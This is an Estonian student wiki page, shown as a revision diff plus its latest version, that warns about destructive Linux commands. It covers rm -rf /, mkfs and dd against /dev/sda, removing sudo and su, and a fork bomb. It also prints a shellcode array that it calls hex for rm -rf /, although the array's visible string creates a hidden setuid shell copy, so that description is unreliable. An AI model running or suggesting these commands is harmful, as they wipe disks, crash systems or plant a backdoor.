Linuxi surmakäsud: Difference between revisions
| (30 intermediate revisions by the same user not shown) | |||
| Line 1: | Line 1: | ||
=Autor= | = Autor = | ||
Jaan Veikesaar | Jaan Veikesaar | ||
| Line 7: | Line 7: | ||
05/11/2017 | 05/11/2017 | ||
=Linuxi surmakäsud= | |||
Vabadus on kahe teraline mõõk. Ühest otsast hea aga kui sa ei tea mis sa teed, siis võid ennast päris korralikult lõigata, sest Linux ei küsi terminalis kinnitust kui sa jooksutad käsu, mis su süsteemi katki teeb. Samuti võid sa Internetist mõne tegelase leida, kes soovitab mõnda siin olevat käsku sisestada. Siin on mõned näited käskudest mida pole mõtet niisama jooksutada. | |||
==Videod teemal== | |||
https://www.youtube.com/watch?v=kJTWru5nwuk | |||
* Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab. | |||
https://www.youtube.com/watch?v=pfAIM37U3fc | |||
== Kustuta kõik palun == | |||
<code> '''rm -rf /''' </code> | |||
* Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab. rm käsk kustutab kõik kohe, mitte ei saada prügikasti kus seda saaks taastada. | |||
<code>'''rm'''</code> – Kustuta järgnevad failid. | <code>'''rm'''</code> – Kustuta järgnevad failid. | ||
| Line 38: | Line 46: | ||
release */ | release */ | ||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” | = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” | ||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” | “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” | ||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” | “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” | ||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” | “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” | ||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” | “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” | ||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” | “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” | ||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00” | “\x6e\x2f\x73\x68\x00\x2d\x63\x00” | ||
“cp -p /bin/sh /tmp/.beyond; chmod 4755\ | |||
“cp -p /bin/sh /tmp/.beyond; chmod 4755 | |||
/tmp/.beyond;”; </code> | /tmp/.beyond;”; </code> | ||
==Linuxi Format C:\== | |||
<code> '''mkfs.ext4 /dev/sda''' </code> | |||
See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud. | See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud. | ||
<code> mkfs </code> - make file system käsk, ehk loo failisüsteem | <code> '''mkfs''' </code> - make file system käsk, ehk loo failisüsteem | ||
<code> ext4 </code> - meie poolt ette antud failisüsteem | <code> '''ext4''' </code> - meie poolt ette antud failisüsteem, võib ka teisi kasutada | ||
<code> /dev/sda </code> - kõvaketas, millele käsk suunatud on | <code> '''/dev/sda''' </code> - kõvaketas, millele käsk suunatud on | ||
* See käsk on tihti internetist leitav kui üks Linuxi surmakäskudest. Aga kui proovida seda teha, siis tuleb teade, et mount'itud ketast ei saa vormindada. Seega see käigus olevat operatsiooni süsteemile ei tohiks midagi teha aga teisi kettaid saab puhtaks teha küll. | |||
== | == Kõvaketta täitmine nullidega või suvaliste bittidega == | ||
<code> dd if=/dev/zero of=/dev/sda </code> | <code> '''dd if=/dev/zero of=/dev/sda''' </code> | ||
<code> dd if=/dev/random of=/dev/sda </code> | <code> '''dd if=/dev/random of=/dev/sda''' </code> | ||
Esimene käsk paneb süsteemi kõvaketta sisu nullidega ja teine suvaliste bittidega üle kirjutama. | |||
<code> dd </code>- käsk, mida kasutatakse, et ketastele andmeid kirjutada | <code> '''dd''' </code>- käsk, mida kasutatakse, et ketastele andmeid kirjutada | ||
<code> if </code>- parameeter, mis otsustab andmete pärinemise ehk sellel juhul <code> /dev/zero </code> toodab igavese voo nulle ja <code> /dev/random </code> igavese nivoo suvalisi bitte. | <code> '''if''' </code>- parameeter, mis otsustab andmete pärinemise ehk sellel juhul <code> /dev/zero </code> toodab igavese voo nulle ja <code> /dev/random </code> igavese nivoo suvalisi bitte. | ||
<code> of=/dev/sda </code>– väljundiks on esimene kõvaketas | <code> '''of=/dev/sda''' </code>– väljundiks on esimene kõvaketas | ||
See on hea käsk kui hakkad näiteks kõvaketast müüma ja soovid sellelt oma andmed kustutada aga muidu tasub sellega ettevaatlik olla. | See on hea käsk kui hakkad näiteks kõvaketast müüma ja soovid sellelt oma andmed kustutada aga muidu tasub sellega ettevaatlik olla. | ||
| Line 85: | Line 88: | ||
Üks viis oma elu ebameeldivaks muuta on eemaldades Linuxist kaks tähtsat käsku: sudo ja su. Need lubavad sul käske jooksutada juurõigustega ja ilma nendeta kaotad sa palju oma tegutsemisvabadusest. Nende taastamine on võimalik aga ajamahukas ja pead murdev töö. | Üks viis oma elu ebameeldivaks muuta on eemaldades Linuxist kaks tähtsat käsku: sudo ja su. Need lubavad sul käske jooksutada juurõigustega ja ilma nendeta kaotad sa palju oma tegutsemisvabadusest. Nende taastamine on võimalik aga ajamahukas ja pead murdev töö. | ||
<code> rm -f /usr/bin/sudo </code> | <code> '''rm -f /usr/bin/sudo''' </code> | ||
<code> rm -f /bin/su </code> | <code> '''rm -f /bin/su''' </code> | ||
== Musta auku saatmine == | == Musta auku saatmine == | ||
<code> /dev/null </code> on eriline koht mis toimib nagu must auk – kõik sinna saadetu on kaob aga see raporteerib, et kirjutamise operatsioon õnnestus. Tavaliselt saadetakse siia mingist protsessist tulevad ebavajalikud väljundid. | <code> '''/dev/null''' </code> on eriline koht mis toimib nagu must auk – kõik sinna saadetu on kaob aga see raporteerib, et kirjutamise operatsioon õnnestus. Tavaliselt saadetakse siia mingist protsessist tulevad ebavajalikud väljundid. | ||
<code> mv </code> – käsk mis liigutab faili või kausta teise asukohta. | <code> '''mv''' </code> – käsk mis liigutab faili või kausta teise asukohta. | ||
<code> ~ </code> - kodukataloogi esitlus. | <code> '''~''' </code> - kodukataloogi esitlus. | ||
<code> /dev/null </code> – koht kuhu kodukataloog liigutatakse ja kus selle andmed hävinevad. | <code> '''/dev/null''' </code> – koht kuhu kodukataloog liigutatakse ja kus selle andmed hävinevad. | ||
== Käsk > /dev/sda | == Kirjuta ketas üle == | ||
<code> '''Käsk > /dev/sda''' </code> | |||
See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info. | See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info. | ||
<code> Käsk </code> - võib siin olla suvaline | <code> '''Käsk''' </code> - võib siin olla suvaline käsklus (grep näiteks) | ||
<code> > </code> - saada väljund järgnevasse asukohta ja kirjuta see üle | <code> '''>''' </code> - saada väljund järgnevasse asukohta ja kirjuta see üle | ||
<code> /dev/sda </code> – peamine kõvaketas | <code> '''/dev/sda''' </code> – peamine kõvaketas | ||
== | == Surm kahvliga == | ||
<code> :(){:|:&};: </code> | <code> ''':(){:|:&};:''' </code> | ||
Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna. | Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna. | ||
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]] | |||
Latest revision as of 19:52, 17 December 2017
Autor
Jaan Veikesaar
A21
05/11/2017
Linuxi surmakäsud
Vabadus on kahe teraline mõõk. Ühest otsast hea aga kui sa ei tea mis sa teed, siis võid ennast päris korralikult lõigata, sest Linux ei küsi terminalis kinnitust kui sa jooksutad käsu, mis su süsteemi katki teeb. Samuti võid sa Internetist mõne tegelase leida, kes soovitab mõnda siin olevat käsku sisestada. Siin on mõned näited käskudest mida pole mõtet niisama jooksutada.
Videod teemal
https://www.youtube.com/watch?v=kJTWru5nwuk
https://www.youtube.com/watch?v=pfAIM37U3fc
Kustuta kõik palun
rm -rf /
- Antud käsu sisestades kustutab Linux rõõmsalt kõik mis ta vähegi suudab. rm käsk kustutab kõik kohe, mitte ei saada prügikasti kus seda saaks taastada.
rm – Kustuta järgnevad failid.
-rf - Jooksuta rm käsku rekursiivselt ehk kustuta kõik failid ja kaustad etteantud kaustas ja eemalda need jõuga ilma sinult küsimata.
/ - See annab rm käsule juurika kataloogi, mis sisaldab kogus sinu kõvaketast, kõiki küljes olevaid seadmeid ja eemaldatavaid andmekandjaid.
- Veel erinevaid võimalusi:
rm -rf ~ - kustutab kodukataloogi.
rm -rf * - kustutab seadistuste failid.
- Samuti võidakse sind proovida petta. Järgnev kood on rm -rf / heksa esitlus, mis toimib täpselt samamoodi kui rm -rf / sisestades.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755\
/tmp/.beyond;”;
Linuxi Format C:\
mkfs.ext4 /dev/sda
See käsk formaadib sda kõvaketta, mis on see kus operatsioonisüsteem asub, ext4 failisüsteemi kasutama. Ehk peale selle sisestamist on ketta sisu kaotsi läinud.
mkfs - make file system käsk, ehk loo failisüsteem
ext4 - meie poolt ette antud failisüsteem, võib ka teisi kasutada
/dev/sda - kõvaketas, millele käsk suunatud on
- See käsk on tihti internetist leitav kui üks Linuxi surmakäskudest. Aga kui proovida seda teha, siis tuleb teade, et mount'itud ketast ei saa vormindada. Seega see käigus olevat operatsiooni süsteemile ei tohiks midagi teha aga teisi kettaid saab puhtaks teha küll.
Kõvaketta täitmine nullidega või suvaliste bittidega
dd if=/dev/zero of=/dev/sda
dd if=/dev/random of=/dev/sda
Esimene käsk paneb süsteemi kõvaketta sisu nullidega ja teine suvaliste bittidega üle kirjutama.
dd - käsk, mida kasutatakse, et ketastele andmeid kirjutada
if - parameeter, mis otsustab andmete pärinemise ehk sellel juhul /dev/zero toodab igavese voo nulle ja /dev/random igavese nivoo suvalisi bitte.
of=/dev/sda – väljundiks on esimene kõvaketas
See on hea käsk kui hakkad näiteks kõvaketast müüma ja soovid sellelt oma andmed kustutada aga muidu tasub sellega ettevaatlik olla.
Sudo ja Su kustutamine
Üks viis oma elu ebameeldivaks muuta on eemaldades Linuxist kaks tähtsat käsku: sudo ja su. Need lubavad sul käske jooksutada juurõigustega ja ilma nendeta kaotad sa palju oma tegutsemisvabadusest. Nende taastamine on võimalik aga ajamahukas ja pead murdev töö.
rm -f /usr/bin/sudo
rm -f /bin/su
Musta auku saatmine
/dev/null on eriline koht mis toimib nagu must auk – kõik sinna saadetu on kaob aga see raporteerib, et kirjutamise operatsioon õnnestus. Tavaliselt saadetakse siia mingist protsessist tulevad ebavajalikud väljundid.
mv – käsk mis liigutab faili või kausta teise asukohta.
~ - kodukataloogi esitlus.
/dev/null – koht kuhu kodukataloog liigutatakse ja kus selle andmed hävinevad.
Kirjuta ketas üle
Käsk > /dev/sda
See käsk võtab siis suvaliselt käsult saadud sisendi ja kirjutab selle väljundi operatsioonisüsteemi asukohale, kustutades kõik muu eelneva info.
Käsk - võib siin olla suvaline käsklus (grep näiteks)
> - saada väljund järgnevasse asukohta ja kirjuta see üle
/dev/sda – peamine kõvaketas
Surm kahvliga
:(){:|:&};:
Tundub suvaline sümbolite jada aga see on ohtlik bashi funktsioon mida tuntakse kahvlipommina (Fork Bomb). See käsk teeb endast koopia ja siis need koopiad teevad veel endast koopia ja nii lõpmatuseni või kuni arvuti kokku jookseb, sest protsessori ja muutmälu ressurss ei ole lõpmatu. Selle ravib taas käivitamine aga oht on, et salvestamata andmed võivad kaduma minna.
